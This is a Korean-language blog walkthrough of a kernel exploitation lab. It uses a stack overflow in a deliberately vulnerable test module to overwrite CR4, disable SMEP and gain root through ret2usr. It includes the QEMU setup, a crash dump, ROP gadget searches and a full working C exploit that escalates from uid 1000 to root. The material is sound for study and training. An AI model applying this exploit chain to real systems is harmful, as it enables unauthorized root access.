Kernel - SMEP 우회, cr4 overwrite #2

2023. 9. 8. 11:50·Kernel Exploit/Theory
728x90
반응형

서론

cr4 overwrite 2차전이다.

 

문제 환경

첨부 환경을 기준으로 한다.

cr4.zip
10.03MB

 

1. 환경설정

1.1. vmlinux 추출하기

앞과 동일하다.

┌[root🐲 Wyv3rn]-(~/kernel/cr4)
└> extract-vmlinux bzImage > vmlinux
┌[root🐲 Wyv3rn]-(~/kernel/cr4)
└> ls
bzImage  rootfs.cpio  start.sh  vmlinux

 

1.2. 문제 환경 설정

start.sh

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-cpu qemu64,smep \

 

보다시피 aslr은 해제되었으며, smep가 걸려있는 것을 알 수 있다.

-no-reboot을 붙여 커널 패닉이 발생해도 리붓하지 않게하여 커널 로그를 쉽게 볼수 있게 하고,

말미에 -s를 붙여 gdb를 통한 디버깅이 가능하도록 셋팅하자.

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr nopti" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-cpu qemu64,smep \
-no-reboot \
-s

 

init

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod test.ko
chmod 777 /dev/test

setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

실행되는 쉘의 유저가 1000임을 알 수 있다.

kallsyms 확인을 위해 이를 0으로 바꾸어 root으로 접속할 수 있도록 변경하자.

더불어 echo 0 > /proc/sys/kernel/kptr_restrict 을 추가하여 심볼의 주소를 확인할 수 있게하자.

 

2. module 분석

test.c 파일이 해당 모듈의 소스코드이다.

필요한 부분만 뜯어보자.

 

2.1. misc_register

모듈을 등록하는 함수이다.

&test_driver 구조체를 참조하는데, 여기 모듈의 정보가 들어있다. (특히 이름)

 

2.2. test_write

커널 힙을 count 만큼 할당하고,

ptr에 커널 힙 주소를 넣은 다음

copy_from_user 함수를 통해 buf의 값을 count 만큼 ptr, 즉 커널 힙에 넣는다.

그리고 해당 값을 다시 memcpy를 통해 arr 변수가 있는 커널 스택 영역으로 복사해준다.

이 때 count 변수는 유저의 입력 값이기 때문에 buffer overflow가 발생한다.

 

3. 취약점

kernel buffer overflow

 

4. payload 작성

4.1 기본 테스트

모듈에 값을 전달하여 잘 불러와지는지, 작동하는지부터 확인해보자.

아래와 같이 간단히 코딩하였다.

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

void main(){
        int fd = open("/dev/test", O_RDWR);
        if (fd == -1) puts("module open error");
        char buf[0x410];
        memset(buf, 'A', 0x10);
        write(fd, buf, 0x10);

        close(fd);
        return;
}

 

gdb로 test_write 함수가 실행된 후 종료되기 전에 적당한 위치에서 브레이크 포인트를 걸어 레지스터 값을 확인하였다.

Breakpoint 3, 0xffffffffc000005e in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────────────────────
*RAX  0x0
 RBX  0x10
*RCX  0xffffffff8244c538 ◂— 0xffffffff8244c538
*RDX  0x0
*RDI  0xffffffff82b1076c ◂— 0x100000000
*RSI  0x86
*R8   0x167
*R9   0x4
 R10  0x0
*R11  0x1
 R12  0x7fff0a516720 ◂— 'AAAAAAAAAAAAAAAA'
 R13  0xffffc9000019ff10 ◂— 0x0
 R14  0x7fff0a516720 ◂— 'AAAAAAAAAAAAAAAA'
 R15  0x0
 RBP  0xffff88801de0ac80 ◂— 'AAAAAAAAAAAAAAAA'
 RSP  0xffffc9000019feb0 ◂— 'AAAAAAAAAAAAAAAA'
*RIP  0xffffffffc000005e ◂— popq %rdx
───────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0xffffffffc000005e    popq   %rdx
   0xffffffffc000005f    popq   %rbx
   0xffffffffc0000060    popq   %rbp
   0xffffffffc0000061    popq   %r12
   0xffffffffc0000063    retq
    ↓
   0xffffffff811df158    movq   %rax, %r12
   0xffffffff811df15b    testq  %r12, %r12
   0xffffffff811df15e    jg     0xffffffff811df18e            <0xffffffff811df18e>
    ↓
   0xffffffff811df18e    testb  $4, 0x47(%rbp)
   0xffffffff811df192    jne    0xffffffff811df1cd            <0xffffffff811df1cd>
    ↓
   0xffffffff811df1cd    movq   %gs:0x16d00, %rax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc9000019feb0 ◂— 'AAAAAAAAAAAAAAAA'
01:0008│     0xffffc9000019feb8 ◂— 'AAAAAAAA'
02:0010│     0xffffc9000019fec0 —▸ 0xffff88801da06a00 ◂— 0x0
03:0018│     0xffffc9000019fec8 ◂— 0x0
04:0020│     0xffffc9000019fed0 —▸ 0xffffffff811df158 ◂— movq %rax, %r12
05:0028│     0xffffc9000019fed8 —▸ 0xffff88801da06a00 ◂— 0x0
06:0030│     0xffffc9000019fee0 —▸ 0xffff88801da06a00 ◂— 0x0
07:0038│     0xffffc9000019fee8 —▸ 0x7fff0a516720 ◂— 'AAAAAAAAAAAAAAAA'
───────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0 0xffffffffc000005e
   1 0x4141414141414141
   2 0x4141414141414141
   3 0xffff88801da06a00
   4              0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

이대로 진행하면 rdx와 rbx는 AAAAAAAA의 값을 가질 것이다.

 

4.2. cr4 leak

기존 cr4 값을 얻기 위해

입력 값을 키워서 rbp, r12에도 동일한 값을 넣고 return의 값으로 BBBBBBBB을 넣어 커널 패닉을 일으켜보자.

 

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

void main(){
        int fd = open("/dev/test", O_RDWR);
        if (fd == -1) puts("module open error");

        char buf[0x28];

        memset(buf, 'A', 0x20);
        unsigned long *chain = (unsigned long*)&buf[0x20];
        *chain++ = 0x4242424242424242;

        write(fd, buf, sizeof(buf));

        close(fd);
        return;
}

 

/ # ./payload
[    4.685294] arr : 42
[    4.685891] general protection fault: 0000 [#1] SMP NOPTI
[    4.686939] CPU: 0 PID: 69 Comm: payload Tainted: G           O      5.8.5 #2
[    4.687458] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[    4.688074] RIP: 0010:0x4242424242424242
[    4.688388] Code: Bad RIP value.
[    4.688536] RSP: 0018:ffffc9000019fed8 EFLAGS: 00000246
[    4.688803] RAX: 0000000000000000 RBX: 4141414141414141 RCX: 0000000000000000
[    4.689047] RDX: 4141414141414141 RSI: ffffffff82b12ba8 RDI: ffffffff82b12fa8
[    4.689270] RBP: 4141414141414141 R08: ffffffff82b12ba0 R09: 0000000000028900
[    4.689576] R10: 0000000000000000 R11: 0000000000000045 R12: 4141414141414141
[    4.689845] R13: ffffc9000019ff10 R14: 00007ffdfe779a90 R15: 0000000000000000
[    4.690163] FS:  0000000001f353c0(0000) GS:ffff88801f000000(0000) knlGS:0000000000000000
[    4.690564] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.690763] CR2: 00000000004b4b20 CR3: 000000001da4e000 CR4: 00000000001006f0
[    4.691061] Call Trace:
[    4.692126]  ? ksys_write+0x9c/0xd0
[    4.692311]  ? do_syscall_64+0x3e/0x70
[    4.692526]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[    4.692809] Modules linked in: test(O)
[    4.694152] ---[ end trace df451612340cf1f8 ]---
[    4.694539] RIP: 0010:0x4242424242424242
[    4.694973] Code: Bad RIP value.
[    4.695963] RSP: 0018:ffffc9000019fed8 EFLAGS: 00000246
[    4.697794] RAX: 0000000000000000 RBX: 4141414141414141 RCX: 0000000000000000
[    4.699452] RDX: 4141414141414141 RSI: ffffffff82b12ba8 RDI: ffffffff82b12fa8
[    4.701529] RBP: 4141414141414141 R08: ffffffff82b12ba0 R09: 0000000000028900
[    4.703341] R10: 0000000000000000 R11: 0000000000000045 R12: 4141414141414141
[    4.704245] R13: ffffc9000019ff10 R14: 00007ffdfe779a90 R15: 0000000000000000
[    4.705534] FS:  0000000001f353c0(0000) GS:ffff88801f000000(0000) knlGS:0000000000000000
[    4.706055] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.706975] CR2: 00000000004b4b20 CR3: 000000001da4e000 CR4: 00000000001006f0
[    4.709193] Kernel panic - not syncing: Fatal exception
[    4.710493] Kernel Offset: disabled
[    4.711178] Rebooting in 1 seconds..

 

이제 cr4의 값을 얻었다.

앞선 글과 마찬가지로 동일한 값이다.

그러므로 동일하게 0x6f0을 삽입하면 될 것이다.

 

4.3. payload 구성 및 gadget 확인.

기본적인 ret2user 공격 구조에서 명령어를 실행시키기 전에 rop으로 cr4 값만 변조해주면 된다.

그러려면 cr4를 변조할 가젯이 필요하며 아래와 같이 찾을 수 있다.

(커널 버전에 따라 있을수도, 없을수도 있다.)

┌[root🐲 Wyv3rn]-(~/kernel/cr4)
└> ROPgadget --binary vmlinux | grep 'cr4'
...
0xffffffff810973c0 : mov cr4, rax ; ret
...

즉, rax 값을 조작해야 cr4를 조작할 수 있기에 rax를 위한 gadget을 추가로 찾아보면 아래와 같다.

┌[root🐲 Wyv3rn]-(~/kernel/cr4)
└> ROPgadget --binary vmlinux | grep 'pop rax' | grep ret
...
0xffffffff8100eb17 : pop rax ; ret
...

깔끔하구만.

이제 나머지 주소들을 구해서 페이로드를 작성해보면 아래와 같다.

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long prepare_kernel_cred = 0xffffffff8108c2f0;
unsigned long commit_creds = 0xffffffff8108bed0;

#define cr4 0xffffffff810973c0 //mov cr4, rax ; ret
#define rax 0xffffffff8100eb17 //pop rax ; ret

static void win() {
  puts("[+] win!");
  execl("/bin/sh", "sh", NULL);
}

static void save_state() {
  asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "movq %%rsp, %2\n"
    "pushfq\n"
    "popq %3\n"
    : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags));
}

static void restore_state() {
  asm("swapgs ;"
    "movq %0, 0x20(%%rsp)\t\n"
    "movq %1, 0x18(%%rsp)\t\n"
    "movq %2, 0x10(%%rsp)\t\n"
    "movq %3, 0x08(%%rsp)\t\n"
    "movq %4, 0x00(%%rsp)\t\n"
    "iretq"
    :
    : "r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(win));
}

static void escalate_privilege() {
  char* (*pkc)(int) = (void*)(prepare_kernel_cred);
  void (*cc)(char*) = (void*)(commit_creds);
  (*cc)((*pkc)(0));
  restore_state();
}

void main(){
        save_state();
        int fd = open("/dev/test", O_RDWR);
        if (fd == -1) puts("module open error");

        char buf[0x40];

        memset(buf, 'A', 0x20);
        unsigned long *chain = (unsigned long*)&buf[0x20];
        *chain++ = rax;
        *chain++ = 0x6f0;
        *chain++ = cr4;
        *chain++ = (unsigned long)&escalate_privilege;

        write(fd, buf, sizeof(buf));

        close(fd);
        return;
}

 

6. exploit

마찬가지로 기존 init, start.sh 파일로 교체하고 다시 실행해보았다.

/ $ id
uid=1000(user) gid=1000(user) groups=1000(user)
/ $ ./payload
[+] win!
/ # id
uid=0(root) gid=0(root)

 

마치며

cr4를 컨트롤할 수 있는 가젯이 있다면 이 정도로 쉽게 마무리 가능하다.

가젯을 먼저 확인해보는 습관이 좋을 것 같다.

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Kernel Exploit > Theory' 카테고리의 다른 글

Kernel - stack pivoting #2 - with xchg  (0) 2023.09.09
Kernel - stack pivoting #1 - with mov esp.  (0) 2023.09.08
Kernel - SMEP 우회, cr4 overwrite  (0) 2023.09.08
Kernel - SMEP 우회, krop  (0) 2023.09.07
kernel - ret2usr  (0) 2023.08.27
'Kernel Exploit/Theory' 카테고리의 다른 글
  • Kernel - stack pivoting #2 - with xchg
  • Kernel - stack pivoting #1 - with mov esp.
  • Kernel - SMEP 우회, cr4 overwrite
  • Kernel - SMEP 우회, krop
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (496) N
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (25) N
        • Theory (15)
        • Exercise (3) N
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    Buffer Overflow
    phoenix
    libc
    root
    dreamhack
    rop
    BOF
    docker
    vtable
    CANARY
    cryptohack
    Me
    la ctf
    RTL
    FSB
    32bit
    exploit education
    x86
    x64
    lob
    hackerschool
    root-me
    pwnable.kr
    tcache
    heap
    64bit
    ROOT ME
    Format String Bug
    pwntools
    _IO_FILE
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
Kernel - SMEP 우회, cr4 overwrite #2
상단으로

티스토리툴바